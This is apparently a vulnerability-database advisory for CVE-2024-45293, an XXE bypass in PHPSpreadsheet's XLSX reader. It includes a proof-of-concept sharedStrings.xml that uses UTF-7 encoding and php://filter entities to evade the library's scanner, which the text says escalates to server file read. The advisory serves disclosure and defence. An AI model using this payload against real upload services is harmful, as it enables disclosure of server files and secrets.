CVE-2024-45293

HIGH7.5EPSS 71.6%

XXE in PHPSpreadsheet's XLSX reader

發布日:2024/10/7修改日:2025/3/6

描述

### Summary The security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet. ### Details The security scan function in `src/PhpSpreadsheet/Reader/Security/XmlScanner.php` contains a flawed XML encoding check to retrieve the input file's XML encoding in the `toUtf8` function. The function searches for the XML encoding through a defined regex which looks for `encoding="*"` and/or `encoding='*'`, if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic. ``` $patterns = [ '/encoding="([^"]*]?)"/', "/encoding='([^']*?)'/", ]; ``` This logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the `=` in the attribute definition. ### PoC Needed: - An Excel sheet (XLSX) with at least one cell containing a value. Unzip the excel sheet, and modify the `xl/SharedStrings.xml` file with the following value (note the space after `encoding=`): ``` <?xml version="1.0" encoding= 'UTF-7' standalone="yes"?> +ADw-!DOCTYPE abc [ ... ]> ``` #### Step-by-step 1. First off, the following string is encoded in base64: ``` <!ENTITY internal 'abc' >" ``` Resulting in: ``` PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K ``` 2. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML. ``` <?xml version="1.0" encoding= 'UTF-7' standalone="yes"?> +ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K" > %xxe;]> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1"><si><t>&internal;</t></si></sst> ``` When this file is parsed by the library, the value `abc` should be in the original filled cell. With the help of the PHP filter wrapper, this can be escalated to information disclosure/file read. ### Impact Sensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.

受影響套件(2)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 4.0—CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
osvCVSS 3.1HIGH7.5CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

參考連結(6)